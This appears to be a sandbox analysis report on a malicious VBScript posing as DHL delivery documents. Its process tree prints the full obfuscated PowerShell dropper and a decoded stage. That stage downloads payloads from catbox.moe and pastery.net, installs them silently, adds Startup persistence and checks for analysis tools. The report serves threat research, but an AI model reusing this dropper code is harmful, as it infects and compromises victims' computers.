Overview

overview

10

Static

static

1

awb_post_d...df.vbs

windows7-x64

10

awb_post_d...df.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    14s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    07/03/2025, 16:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    awb_post_dhl_delivery_documents_pdf.vbs

  • Size

    177KB

  • MD5

    63fa1b58e48acb386a8b650951530771

  • SHA1

    adf30b16e042e3d4cf2c5c570ec0afcf446afac0

  • SHA256

    119a6e21aa53c235fe4a946d74e870b41823d1cf49c39d29a528e1a0ddfd9042

  • SHA512

    8c328b2876d05cb649190578565daa152f145e0dce86b3aae8eca826f09796040fcc856911050e2540a9df92cf923c90cac6848e5326e2040dd415993dcd7107

  • SSDEEP

    384:JffffffffQffffffffQffffffffmh44444444D4c0YAL8ZNGJoNycffffffffQfS:K0Yq/G

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://www.pastery.net/rdakwa/raw/
exe.dropper

https://files.catbox.moe/sakuuo.msu
exe.dropper

https://files.catbox.moe/6sdjc5.msu
exe.dropper

https://www.pastery.net/rdakwa/raw/

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_pdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $wfdyx = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + 'pAFQAQw' + [char]66 + '2AFgAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + 'pAFQAQw' + [char]66 + '2AFgAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHcAeQ' + [char]66 + '5AEUAUgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGkAVA' + [char]66 + 'DAHYAWAAkADsAIAAnADsAKQAgACkAIAAnACcAbQ' + [char]66 + 'zAGEAZw' + [char]66 + 'lAHIAXAA5ADEAMwAwADMALgAwAC4ANA' + [char]66 + '2AFwAaw' + [char]66 + 'yAG8Adw' + [char]66 + 'lAG0AYQ' + [char]66 + 'yAGYAXA' + [char]66 + '0AGUAbgAuAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'tAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAdw' + [char]66 + 'cADoAYw' + [char]66 + 'EADEARAAgAEQAJwAnACAALAAgACcAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAJwAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGcAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'oAGkAbg' + [char]66 + 'zAGkAZw' + [char]66 + 'oAHQAaQ' + [char]66 + '0AC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAdA' + [char]66 + 'yAGUAYQ' + [char]66 + 'tAGYAYQ' + [char]66 + 'yAG0AcwAuAGIAaQ' + [char]66 + 'uACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAdw' + [char]66 + '5AHkARQ' + [char]66 + 'SACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAdw' + [char]66 + '5AHkARQ' + [char]66 + 'SACQAOwAgACcALgApACAAcg' + [char]66 + 'GAGQAWQ' + [char]66 + 'SACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAHcAeQ' + [char]66 + '5AEUAUgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHIARg' + [char]66 + 'kAFkAUgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + '3AHkAeQ' + [char]66 + 'FAFIAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAbw' + [char]66 + 'JAFkAZg' + [char]66 + '0ACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAKAAgAD0AIA' + [char]66 + 'HAGUAYQ' + [char]66 + '5AHIAJAAgADsAIAApACAAJwAnAHQAeA' + [char]66 + '0AC4AMgAwAGwAbA' + [char]66 + 'kACcAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'vAEkAWQ' + [char]66 + 'mAHQAJAAnACAAPQAgAHcAeQ' + [char]66 + '5AEUAUgAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgAGIAeg' + [char]66 + 'NAGUAUAAkACAAaA' + [char]66 + '0AGEAUA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAC0AIA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAC0AdA' + [char]66 + '1AE8AIA' + [char]66 + '8ACAARA' + [char]66 + 'lAHoAaw' + [char]66 + 'TACQAOwApAGwASw' + [char]66 + 'UAGwAVAAkACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAdA' + [char]66 + 'lAEcALgA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAEQAZQ' + [char]66 + '6AGsAUwAkADsAIAApACAARA' + [char]66 + 'KAGcAUA' + [char]66 + 'JACQAIAAoAGEAdA' + [char]66 + 'hAEQAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AUg' + [char]66 + 'JAEYATQ' + [char]66 + 'rACQAIAA9ACAAbA' + [char]66 + 'LAFQAbA' + [char]66 + 'UACQAOwAgACkAIA' + [char]66 + 'mAHEATg' + [char]66 + 'aAGMAJAAgAGgAdA' + [char]66 + 'hAFAALQAgAHQAbg' + [char]66 + 'lAHQAbg' + [char]66 + 'vAEMALQ' + [char]66 + '0AGUARwAgACgAIAA9ACAAIA' + [char]66 + 'EAEoAZw' + [char]66 + 'QAEkAJAA7ACAAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'SAEkARg' + [char]66 + 'NAGsAJAA7ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAgAD0AIA' + [char]66 + 'SAEkARg' + [char]66 + 'NAGsAJAA7ACAAKQAgACcAdA' + [char]66 + '4AHQALgAyADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'iAHoATQ' + [char]66 + 'lAFAAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAAnADgARg' + [char]66 + 'UAFUAJwAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAZg' + [char]66 + 'xAE4AWg' + [char]66 + 'jACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAGUAbA' + [char]66 + 'pAEYALQAgAGUAbA' + [char]66 + 'pAEYALQ' + [char]66 + '0AHUATwAgAHwAIA' + [char]66 + 'VAHMAeg' + [char]66 + 'XAFQAJAA7AHkATQ' + [char]66 + 'lAHMAYQ' + [char]66 + 'CACAAPQAgAFUAcw' + [char]66 + '6AFcAVAAkACAAOw' + [char]66 + 'VAHMAeg' + [char]66 + 'XAFQAJAAgAD0AIA' + [char]66 + 'lAHMAYQ' + [char]66 + 'iAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TACQAOwAgACkAIA' + [char]66 + 'qAHoAdg' + [char]66 + 'kAGgAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAAgAD0AIA' + [char]66 + 'VAHMAeg' + [char]66 + 'XAFQAJAA7ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAgAD0AIA' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAdwAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'mAHEATg' + [char]66 + 'aAGMAJAA7ACkAIAAnAC8Adw' + [char]66 + 'hAHIALw' + [char]66 + 'hAHcAaw' + [char]66 + 'hAGQAcgAvAHQAZQ' + [char]66 + 'uAC4AeQ' + [char]66 + 'yAGUAdA' + [char]66 + 'zAGEAcAAuAHcAdw' + [char]66 + '3AC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACgAIAA9ACAAag' + [char]66 + '6AHYAZA' + [char]66 + 'oACQAOw' + [char]66 + '9ADsAcg' + [char]66 + 'GAGQAWQ' + [char]66 + 'SACQAIA' + [char]66 + 'uAHIAdQ' + [char]66 + '0AGUAcgA7ACkAKQ' + [char]66 + 'lAHMAYQ' + [char]66 + 'iAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TACQAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAdA' + [char]66 + 'lAEcALgA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAHIARg' + [char]66 + 'kAFkAUgAkADsAew' + [char]66 + '5AE0AZQ' + [char]66 + 'zAGEAQgAgAG4Abw' + [char]66 + 'pAHQAYw' + [char]66 + 'uAHUARgA7AGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOw' + [char]66 + '9ACAACgANADsAdA' + [char]66 + 'pAHgAZQAgACAAIAAgACAAIAAKAA0AOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAcg' + [char]66 + 'lAHQAdQ' + [char]66 + 'wAG0Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAUgAKAA0AIA' + [char]66 + '7AGUAcw' + [char]66 + 'sAGUACgANAAoADQ' + [char]66 + '9AAoADQAgACAAIAAgACAAIAAgAAoADQAgAHsAKQ' + [char]66 + 'sAGwAdQ' + [char]66 + 'OACQAIA' + [char]66 + 'xAGUALQAgACkAZQ' + [char]66 + '1AG4AaQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAHkAbA' + [char]66 + '0AG4AZQ' + [char]66 + 'sAGkAUwAgAGEAZQAtACAAJw' + [char]66 + 'lAHoAeQ' + [char]66 + 'sAGEAbg' + [char]66 + 'hACcALAAnAFMATg' + [char]66 + 'EAGUAdA' + [char]66 + 'hAHAAYQAnACwAJw' + [char]66 + 'rAHIAYQ' + [char]66 + 'oAHMAZQ' + [char]66 + 'yAGkAVwAnACAAcw' + [char]66 + 'zAGUAYw' + [char]66 + 'vAHIAcAAtAHQAZQ' + [char]66 + 'nACgAKA' + [char]66 + 'mAGkAOwAgADIAMQ' + [char]66 + 'zAGwAVAA6ADoAXQ' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAGwAbw' + [char]66 + 'jAG8AdA' + [char]66 + 'vAHIAUA' + [char]66 + '5AHQAaQ' + [char]66 + 'yAHUAYw' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'XAEMAdw' + [char]66 + '' + [char]66 + 'AEcAJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAARQ' + [char]66 + 'vAEEAbA' + [char]66 + 'nACQAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAWQ' + [char]66 + 'OAEsAYg' + [char]66 + 'mACQAKAAgAD0AIA' + [char]66 + 'FAG8AQQ' + [char]66 + 'sAGcAJAA7ACkAIA' + [char]66 + 'lAG0AYQ' + [char]66 + 'OAHIAZQ' + [char]66 + 'zAFUAOgA6AF0AdA' + [char]66 + 'uAGUAbQ' + [char]66 + 'uAG8Acg' + [char]66 + 'pAHYAbg' + [char]66 + 'FAFsAIAArACAAJw' + [char]66 + 'cAHMAcg' + [char]66 + 'lAHMAVQ' + [char]66 + 'cADoAQwAnACAAKAAgAD0AIA' + [char]66 + 'XAEMAdw' + [char]66 + '' + [char]66 + 'AEcAJAA7ACkAIAApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAFkATg' + [char]66 + 'LAGIAZgAkACgAIAAsAGQAYg' + [char]66 + 'rAHEAdAAkACAAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGsAag' + [char]66 + 'yAG4AbgAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'rAGoAcg' + [char]66 + 'uAG4AJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'rAGoAcg' + [char]66 + 'uAG4AJAA7AH0AOwAgACkAZA' + [char]66 + 'iAGsAcQ' + [char]66 + '0ACQAKAAgAD0AIA' + [char]66 + 'kAGIAaw' + [char]66 + 'xAHQAJA' + [char]66 + '7ACAAZQ' + [char]66 + 'zAGwAZQ' + [char]66 + '9ADsAIA' + [char]66 + 'zAG8Abg' + [char]66 + 'lAG0AJAAgAD0AIA' + [char]66 + 'kAGIAaw' + [char]66 + 'xAHQAJA' + [char]66 + '7ACAAKQAgAHcAVg' + [char]66 + 'nAGgARQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAdw' + [char]66 + 'WAGcAaA' + [char]66 + 'FACQAOwAnAHUAcw' + [char]66 + 'tAC4ANQ' + [char]66 + 'jAGoAZA' + [char]66 + 'zADYALw' + [char]66 + 'lAG8AbQAuAHgAbw' + [char]66 + 'iAHQAYQ' + [char]66 + 'jAC4Acw' + [char]66 + 'lAGwAaQ' + [char]66 + 'mAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAHMAbw' + [char]66 + 'uAGUAbQAkADsAJw' + [char]66 + '1AHMAbQAuAG8AdQ' + [char]66 + '1AGsAYQ' + [char]66 + 'zAC8AZQ' + [char]66 + 'vAG0ALg' + [char]66 + '4AG8AYg' + [char]66 + '0AGEAYwAuAHMAZQ' + [char]66 + 'sAGkAZgAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'kAGIAaw' + [char]66 + 'xAHQAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'ZAE4ASw' + [char]66 + 'iAGYAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'ZAE4ASw' + [char]66 + 'iAGYAJA' + [char]66 + '7ACAAKQAgAFoAWg' + [char]66 + 'rAFQATAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAFoAWg' + [char]66 + 'rAFQATAAkACAAOwA=';$wfdyx = $wfdyx.replace('的杰是' , 'B') ;;$fjptf = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $wfdyx ) ); $fjptf = $fjptf[-1..-$fjptf.Length] -join '';$fjptf = $fjptf.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_pdf.vbs');powershell $fjptf
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $LTkZZ = $host.Version.Major.Equals(2) ;if ( $LTkZZ ) {$fbKNY = ( [System.IO.Path]::GetTempPath() );del ( $fbKNY + '\Upwin.msu' );$tqkbd = 'https://files.catbox.moe/sakuuo.msu';$menos = 'https://files.catbox.moe/6sdjc5.msu';$EhgVw = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $EhgVw ) {$tqkbd = $menos ;}else {$tqkbd = ($tqkbd) ;};$nnrjk = (New-Object Net.WebClient);$nnrjk.Encoding = [System.Text.Encoding]::UTF8;$nnrjk.DownloadFile( $tqkbd, ($fbKNY + '\Upwin.msu') );$GAwCW = ( 'C:\Users\' + [Environment]::UserName );$glAoE = ($fbKNY + '\Upwin.msu'); powershell.exe wusa.exe $glAoE /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_pdf.vbs' -Destination ( $GAwCW + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$Stringbase;Function BaseMy{;$RYdFr = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($Stringbase));return $RYdFr;};$hdvzj = ('https://www.pastery.net/rdakwa/raw/' );$cZNqf = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' );$webClient = New-Object System.Net.WebClient ;$TWzsU = $webClient.DownloadString( $hdvzj ) ;$Stringbase = $TWzsU; $TWzsU = BaseMy;$TWzsU | Out-File -FilePath $cZNqf -Encoding 'UTF8' -force ;$PeMzb = ( [System.IO.Path]::GetTempPath() + 'dll02.txt' ) ;$kMFIR = New-Object System.Net.WebClient ;$kMFIR.Encoding = [System.Text.Encoding]::UTF8 ;$IPgJD = ( Get-Content -Path $cZNqf ) ;$TlTKl = $kMFIR.DownloadData( $IPgJD ) ;$SkzeD = [System.Text.Encoding]::UTF8.GetString($TlTKl);$SkzeD | Out-File -FilePath $PeMzb -force ;$REyyw = '$tfYIo = ( [System.IO.Path]::GetTempPath() + ''dll02.txt'' ) ; $ryaeG = (Get-Content -Path $tfYIo -Encoding UTF8);' ;$REyyw += '[Byte[]] $RYdFr = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' 